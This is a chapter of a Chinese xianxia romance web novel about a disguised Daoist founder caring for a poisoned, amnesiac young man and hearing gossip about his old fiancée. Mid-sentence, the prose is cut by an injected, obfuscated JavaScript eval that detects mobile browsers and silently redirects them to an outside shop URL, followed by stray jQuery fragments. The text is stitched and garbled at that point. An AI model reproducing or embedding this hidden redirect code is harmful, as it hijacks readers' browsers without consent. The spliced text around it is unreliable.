沈归烬先前忙着应付张大海和邻居,把殷琰劝回房间,随口哄他“回来抱抱”,但殷琰并不肯撒手。
沈归烬只能扯开殷琰拽着自己衣袖的手,命令他待在屋里。
一夜过去,那小哥儿不知委屈成了什么样子。
沈归烬关了铺门,从无界门回去。
进了卧室,见殷琰像是一夜没睡,孤零零抱着自己缩在床上,将头埋进膝盖里,果然在抽抽噎噎地犯委屈。
沈归烬叹了一声。
这小哥儿被心魔毒害得呆呆傻傻,但凡他强硬命令些什么,并不会忤逆,可人非草木,心里有了情绪,无外人开解,就得自己忍着消化。
沈归烬走过去摸摸他的头,还没来得及说什么,又看到殷琰抱着膝盖的手深深嵌进肉里,如同此前情毒发作时一样,通过抠挠自己缓解症状。
沈归烬抓住殷琰的手。
殷琰抬头看他,眼睛红红的,还挂着泪珠。
沈归烬觉得这小呆瓜实在可怜,凑上去抱抱,说:“别哭,跟我说说,你心里在委屈什么?”
殷琰抽抽鼻子:“夫君骗我。”
沈归烬:“我怎么骗你?”
殷琰:“夫君说回来要陪我睡觉。”
沈归烬:“……”
他当初随口糊弄一句,自己早忘了,可这小呆瓜脑袋里没别的事,翻来覆去只能想这些。
沈归烬正想解释,却听殷琰委屈巴巴又问:“我做了什么惹夫君生气?”
沈归烬:“?我没生气,你哪里看出我生气了?”
殷琰闷闷道:“夫君说话不算数。”
此前沈归烬说去给他买吃的,就真买,他以为夫君说什么都会履诺,可沈归烬答应要跟他睡觉,却在回来后凶他,还把他一个人丢在屋里。
殷琰想不明白,只能揣测是自己做错了事情。
沈归烬揉揉眉心,不知该如何跟这种傻子交流,伸手一摸殷琰的额头,发现他体温又起来了。
他叹了一声,闭眼认命道:“好,过来,陪你睡。”
是他当初把人从山林里捡了回来,沈归烬此刻觉得自己造孽,可若放着殷琰不管,更是造孽。
他捋捋殷琰的头发,把人抱进怀中,在殷琰往他身上蹭的同时,有些出神地想,实在不行,自己娶他。
都已经到了这个地步,邻居们追着议论,殷琰不管什么来历,两人不算夫妻也已经做了夫妻,他若还是一心想着救好了对方就撇掉麻烦,实在说不过去。
他有的是资财,无论对方是谁,都给得起聘礼,就算殷琰真是什么高门大户、修真世家……沈归烬想,最差不过舍了这身马甲,亦或对方看他不起,先甩了他,也都好。
他不能不给殷琰一个交代。
如此想着,沈归烬低头看看殷琰,殷琰情欲上头,正不得其法地解他的衣服,解了半晌没解开,脑门的汗都出来了,凑上前用牙去咬。
沈归烬摸摸他的头,把他下巴托起来,问:“我要娶你,你肯不肯?”
殷琰蹙着眉,一时半会儿没想明白:“夫君还没有娶我?”
沈归烬:“……”
算了。
他捋着殷琰的背脊与他接吻,心想这种事也只能自己先做打算,殷琰将来若真的不乐意,自己再想办法补偿他。
总不会亏待了这小哥儿。
……
一场云雨,沈归烬起身,去给殷琰熬药。
殷琰躺在床上,心满意足,觉得夫君没有生他的气,还是喜欢他。
高兴地在被窝里打了几个滚。
随即想起那扇奇怪的门。
先前他不敢问,觉得夫君是因为那扇门气他,现在发现好像不是,殷琰胆子大了些,在沈归烬端着药碗进来时,忍不住道:“夫君,走廊里的那道门,我以后还能去吗?”
门外面有好多人,殷琰看得新奇,他记忆缺失的脑袋看什么都新奇,很想再去看看。
沈归烬想了一会儿。
他既已决定对殷琰负责,潮音镇的街坊邻居也都见到了殷琰,以八卦的传播速度,这事儿肯定瞒不住。
他越把殷琰藏起来,周边人只会越揣测。
况且此后他要给殷琰拔毒,对言障毒来说,殷琰多接触点人反是好的,能更快建立起对周边事物的认知。
也省得赵婶子老来给他说亲了。
左右一计较,沈归烬发现这是个一举三得的好事,至于无界门……大不了多加一个禁制,不让殷琰误入他洞府便是。
便点头答应:“行,改日我陪你。”
*
沈归烬在家照料殷琰几天,把小哥儿养得差不多了,又回到了镇上开铺子。
给殷琰拔毒的药材已齐备,如今他要熬制汤药,几味药材有不同的熬法,铺子后院也是他寻常炼丹熬药的地方,器具比山脚小院儿更齐备,沈归烬便搬到了这里。
殷琰想见见新奇,沈归烬虽答应了他,却也不敢一下子把他放到人堆里,街坊们七嘴八舌,万一把这小呆瓜吓到,得不偿失。
沈归烬让殷琰先待在后院适应适应,帮忙打下手。
潮音镇近来十分热闹。
据说是南海出了动荡,中原诸多宗派的修士成群结队飞过来,此前还有人说好些年没见过御剑的修士,如今头顶上的修士一拨接一拨,御剑的,御船的,踏叶驾云的……五花八门。
百姓们没见过这么大的阵仗,仰着脖子观望,揣测纷纷。
张大海一日偷摸到了沈归烬铺子里。
“沈归,沈掌柜!”
他带着斗笠,大白天把自己遮得严严实实,做贼似的,招手把在柜台前写方子的沈归烬喊过来。
沈归烬走上前看看:“怎么,又被讨债的追了?”
张大海忙摇头,示意他凑近些,压低了声音:“大事!我上次不是跟你说,一个前辈大能在南海把我从妖族手里救了出来吗?”
沈归烬“嗯”了一声。
张大海勾手,让他把耳朵再贴近些,语气夸张但又小小声说:“我先前还以为这前辈是个元婴大能,谁知……你知道他是谁吗?”
沈归烬:“……是谁?”
张大海:“打死你都猜不出来,是万法道祖!沈归烬!”
沈归烬表示惊奇:“竟然是他啊。”
张大海:“没想到吧!听说道祖三百多年前闭关,如今终于出关现世,周游至此,就被我给撞上了!你说,这是不是一等一的机缘!”
沈归烬:“呃,是。”
张大海看看四周,又小声道:“我跟你说啊,这几天有好几拨修士找到我,打听那天晚上我与道祖谈话的事。”
沈归烬早知这些,问:“你都跟他们说了什么?”
张大海:“我怎敢瞎说?你之前特意嘱咐我,不要牵连你这铺子,我自然没敢把你送我丹药的事说出来,只说是自己凑的……”
沈归烬早料到张大海会被找上,他不想被修士们寻到自己这儿来,提前嘱咐过对方。
张大海:“我跟你说,南海那群妖族有阴谋,他们到镇子上买丹药,是为了借着化形潮,豢养元婴大妖!”
“豢养?”
“对呀!你不知这些妖兽们有多变态……”
张大海说着忍不住拔高了声调,反应过来,又忙压下声音,“我也是听那些修士们说的,说这些妖族向来能靠吞噬同类获取修为,便打算先喂出几个结丹食饵,将这些食饵喂给另一群妖兽,由此突破元婴境!”
沈归烬“唔”了一声,情况跟他猜测得大差不差。
早在他当龙傲天的时候,就有妖族想过这种歪招,吞噬同类,寻求进境,一些魔道的邪功也跟此如出一辙。
但这种自相残杀的办法向来不会落到什么好下场,却又因其短时间内的确能让修为功法大幅提升,这么多年依旧有人前赴后继。
张大海说:“这些妖族图谋占我们人族的地盘,还想把潮音镇淹了!听说正清门的长老都跟他们有勾结!”
沈归烬:“你打听的还真不少。”
“那可不是,”张大海又压了压头上的斗笠,“你知我今日为何来找你吗?因就在昨日,我见到了万法盟的长老!”
“万法盟?”
“是啊!他们专程找上我呢!”
沈归烬挑眉,万法盟是他当年一手创建的组织,彼时大小宗门乱斗,他拿到的剧本任务是拯救乱世,所以想方设法联合各宗派,成立了万法盟,以此维护修真界和凡人世界的秩序。
也因此,他被后世称为万法道祖。
“你听过应子真没有?”张大海又说,“道祖遁世后,这位便担任了万法盟第二任盟主。”
“应子真来了?”沈归烬颇有些愕然。
“那没有,”张大海摇头,“但他妹妹来了!就是那位天剑宗的女修长老,应婉柔!当年跟道祖订婚那个。”
沈归烬微微蹙起眉:“她?”
按龙傲天小说的套路,应婉柔本是原著里给他安排的正妻,属于那种容貌身世修为皆上乘,却要在嫁给他后相夫教子,还要给他附赠人脉资源的那种。
沈归烬当年因为剧情安排,不得不跟对方定下婚约。
但他卡了剧情的bug,没有与对方完婚,并在离开这个世界前,主动跟应婉柔坦白了自己的性向。
应婉柔答应退婚。
张大海却说:“道祖遁世这么多年,这位女长老还守着当年的婚事,听闻道祖的消息,第一时间就赶了过来!还亲自找我打听消息,而且……”
沈归烬大惊:“什么?什么还守着当年的婚事?”
张大海:“你不知道吗?自道祖遁世闭关,这位女修长老再没找过道侣,天剑宗也从未传出过退婚的消息,世人都揣测道祖当年闭关是负了伤,要遁世休养,亦或要修炼什么秘籍功法,总之待出关后,还是要与这位女长老结亲的!”
沈归烬:“???”
我怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753726|209473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知道?
应婉柔并非什么恋爱脑,不过是被剧情推着走到了那一步,两人当年早已说清楚,以沈归烬对应婉柔的了解,她绝不可能这么多年还守着一场未尽的婚事……
他看看张大海,想到跟这人也打听不明白,索性略过去,问:“还有什么而且?”
张大海又看看四周,再次压低声音:“我跟你说,你可别告诉别人,这位女修长老心慈,给了我一份天大的机缘!”
沈归烬:“机缘?”
张大海:“她来向我询问道祖的事,除了你给我丹药那些,我都照实说了,这位女长老临走前提醒,说南海妖族和正清门都被我坏了好事,将来却未必不会有人找我寻仇,让我别留在这镇子,我说没别的地方可去,她想了想,给了我一张引帖。”
说罢,张大海把藏在怀里的引帖偷偷拿出来,给沈归烬看了一眼。
竟是天剑宗的入门引帖。
沈归烬一看便知是真的,想到应婉柔的性子,倒也不出奇。
张大海难掩激动道:“你知道吗,这可是天剑宗的正经引帖!这位女长老让我去天剑宗做杂役弟子,说能给我提供庇护!那可是天剑宗!”
以张大海的出身和资质,若无这张引帖,这辈子难摸到天剑宗的门。
沈归烬让他把引帖收起来,藏好,说:“那你不赶着去天剑宗报到,来我这儿做什么?”
张大海“哎呀”一声:“我不是想着兄弟你嘛!你帮了我这么大忙,又被牵扯进这件事情中,我便也求了这位女长老,说我一个兄弟恐怕也被牵连,问可否跟我一块儿去……”
沈归烬:“……”
那我真是谢谢你了。
不过张大海叹道:“可惜她没直接答应,说天剑宗不收药修,但可以在宗门所属的辖地提供庇护,若你真想转行加入宗门的话,她也可以给你一个入门比试的机会。”
沈归烬摇头:“我不去。”
张大海没想到他会如此干脆地拒绝:“怎就不去?那可是天剑宗!修真界一等一的宗门!寻常人多少辈子都换不来这般机缘!”
沈归烬:“如那位女长老所说,我只是个药修,托你帮我隐瞒,那些来南海的修士都不寻我,正清门和妖族又怎会找我寻仇?我在这儿待得挺好,何必大老远跑到天剑宗讨苦日子过。”
张大海:“那……怎么是过苦日子!”
沈归烬提醒:“杂役弟子,是所有宗门中最得吃苦的弟子,小辈们都得从此做起,到时早起晚睡,日日修炼不说,还得挑水劈柴,除尘洒扫,被师兄师姐们指挥得团团转,还得给大大小小的长老端茶送水。”
张大海想了半晌:“那我也愿意,只要能进天剑宗的门,什么活我都愿意干!我有的是力气干活!”
沈归烬不觉笑起来:“你有这般志气,将来必不会亏了这张引帖,但我这辈子就愿意在这儿开间小铺子,每天炼炼丹,打发打发时间就行,杂役弟子的苦,我可吃不来。”
张大海想到沈掌柜也确实不是能吃苦的性子,这么小一间铺子都开得三天打鱼两天晒网,进了宗门多半受不了。
便说:“那行,不过你放心,我将来若出息了,肯定罩着你!”
沈归烬点头,嘴里说着“我以后就得指望你了”,起身送他出门。
张大海走到门边,忽又想起什么:“对了,沈掌柜……”
沈归烬:“还有什么事?”
张大海挠挠头,有些不好意思地说:“先前装丹药的那个盒子,咳……就是道祖送回来的那个,能不能给我?我,我可以出钱买!”
沈归烬看他一身行装,也没什么需要盛放的,问:“你要盒子干嘛?”
张大海:“那不是道祖碰过的东西么,多少沾点儿灵气,再说,道祖救我一命,回头我得把这盒子供奉起来,天天祭拜。”
沈归烬:“……”
那你不如直接拜我。
张大海已经扯出了钱袋子,往外掏钱:“我拿市价三倍,不,五倍……”
沈归烬摆摆手,往后院叫了一声:“阿琰。”
一阵脚步声响起,殷琰“噔噔噔”地从后院跑来,从门帘里探出个头:“夫君?”
沈归烬:“去把前些日子我收起来的那个丹药盒拿过来,就在炼药房左边的柜子里。”
殷琰应了一声,乖乖地又“噔噔噔”跑回去。
片刻,把盒子取来。
沈归烬把盒子给张大海,张大海接过盒子,不由抬头打量了两眼殷琰。
这小哥儿长得真齐整,眉目明艳,额头孕痣鲜红,一口一声管沈归烬叫“夫君”。
张大海忍不住问道:“他真是你的……”
顿了顿,又觉得自己不该打听。
侍妾,炉鼎,还是夫郎,跟他有何干系,沈掌柜爱与哥儿或娘子成婚……再说,这小哥儿都被带到了人前来,自是没打算瞒着的。
张大海把话又收了回去,向沈归烬道过谢,转身走了。